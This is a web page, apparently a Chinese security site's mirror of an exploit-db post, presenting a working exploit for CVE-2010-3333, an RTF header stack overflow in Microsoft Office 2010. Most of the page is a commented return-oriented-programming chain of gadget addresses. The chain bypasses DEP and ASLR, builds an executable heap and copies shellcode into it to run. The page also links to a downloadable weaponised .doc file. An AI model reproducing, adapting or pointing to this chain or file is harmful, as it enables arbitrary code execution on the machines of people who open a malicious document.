首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS Office 2010 RTF Header Stack Overflow Vulnerability Exploit
来源:Shahriyar.j < at > gmail 作者:Snake 发布时间:2011-07-04  

# Exploit Title: MS Office 2010 RTF Header Stack Overflow Vulnerability
Exploit
# Date: 7/3/2011
# Author: Snake ( Shahriyar.j < at > gmail )
# Version: MS Office <= 2010
# Tested on: MS Office 2010 ( 14.0.4734.1000) - Windows 7
# CVE : CVE-2010-3333

# This is the exploit I wrote for Abysssec "The Arashi" article.
# It gracefully bypass DEP/ASLR in MS Office 2010,
# and we named this method "Ikazuchi DEP/ASRL Bypass" : >
# unfortunately msgr3en.dll loads a few seconds after opining office,
# so just need to open open Office , and then open exploit after a few
second and saw a nice calc.
#
# The Arashi : http://abysssec.com/files/The_Arashi.pdf
               http://www.exploit-db.com/download_pdf/17469

# me : twitter.com/ponez
# aslo check here for Persian docs of this methods and more :
http://www.0days.ir/article/

Exploit:  http://www.exploit-db.com/sploits/cve-2011-3333_exploit.doc


#
# and the Rop :

3F2CB9E0    POP ECX
            RETN
        # HeapCreate() IAT = 3F10115C

3F389CA5    MOV EAX,DWORD PTR DS:[ECX]
            RETN
        # EAX == HeapCreate() Address

3F39AFCF    CALL EAX
            RETN
        # Call HeapCreate() and Create a Executable Heap :D
        # after this call, EAX contain our Heap Address.

0x3F2CB9E0    POP ECX
        RETN
        # pop 0x00008000 into ECX

0x3F39CB46    ADD EAX,ECX
        POP ESI
        RETN
        # add ECX to EAX and instead of calling HeapAlloc,
        # now EAX point to the RWX Heap :D

0x3F2CB9E0     POP ECX
        RETN
        # pop 0x3F3B3DC0 into ECX, it is a writable address.

0x3F2233CC     MOV DWORD PTR DS:[ECX],EAX
        RETN
        # storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for
further use ;)

0x3F2D59DF     POP EAX
        ADD DWORD PTR DS:[EAX],ESP
        RETN
        # pop 0x3F3B3DC4 into EAX , it is writable address with zero!
        # then we add ESP to the Zero which result in storing ESP into
that address,
        # we need ESP address for copying shellcode ( which stores in
Stack ),
        # and we have to get it dynamically at run-time, now with my
tricky instruction, we have it!


0x3F2F18CC    POP EAX
        RETN
        # pop 0x3F3B3DC4 ( ESP address ) into EAX


0x3F2B745E     MOV ECX,DWORD PTR DS:[EAX]
        RETN
        # now ECX point to nearly offset of Stack.

0x3F39795E    POP EDX
        RETN
        # pop 0x00000024 into EDX

0x3F39CB44    ADD ECX,EDX
        ADD EAX,ECX
        POP ESI
        RETN
        # add 0x24 to ECX ( Stack address )

0x3F398267     MOV EAX,ECX
        RETN
        # EAX = ECX ; )

0x3F3A16DE    MOV DWORD PTR DS:[ECX],EAX
        XOR EAX,EAX
        POP ESI
        RETN
        # mov EAX ( Stack Address + 24 = Current ESP value ) into the
current Stack Location,
        # and the popping it into ESI ! now ESI point where shellcode
stores in stack :D

0x3F398267     MOV EAX,ECX
        RETN
        # EAX = ECX ; )

3F2CB9E0    POP ECX
        RETN
        # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX

0x3F389CA5     MOV EAX,DWORD PTR DS:[ECX]
        RETN
        # now EAX point to our RWX Heap

0x3F2B0A7C     XCHG EAX,EDI
        RETN 4
        # EDI = Our RWX Heap Address


3F2CB9E0    POP ECX
        RETN
        # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
 

0x3F389CA5     MOV EAX,DWORD PTR DS:[ECX]
        RETN
        # now EAX point to our RWX Heap

0x3F38BEFB     ADD AL,58
        RETN
        # just skip some junks ; )

3F2CB9E0    POP ECX
        RETN
        # pop 0x00000080 into ECX ( 0x80 * 4 = 0x200 = Copy lent )

3F3441B4    REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
        POP EDI
        POP ESI
        RETN
        # Copy shellcode from stack into RWX Heap


3F39AFCF     CALL EAX
        RETN
        # KABOOM !!!

Exploit:  http://www.exploit-db.com/sploits/cve-2011-3333_exploit.doc


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Donar Player 2.8.0 Denial of S
·Rhythmbox (.m3u) Local Crash P
·HP OmniInet.exe Opcode 27 Buff
·OpenBSD/x86 sys_execve ('/bin/
·Microsoft IIS FTP Server <= 7.
·FoxPlayer 2.6.0 Denial of Serv
·HP Data Protector 6.11 Remote
·Hanso Player 1.6.0 (.m3u) Deni
·VUPlayer 2.49 Stack Buffer Ove
·RarmaRadio 2.63 (.m3u) Denial
·OpenSSH 3.4p1 FreeBSD Remote R
·iMesh <= 10.0 (IMWebControl.dl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved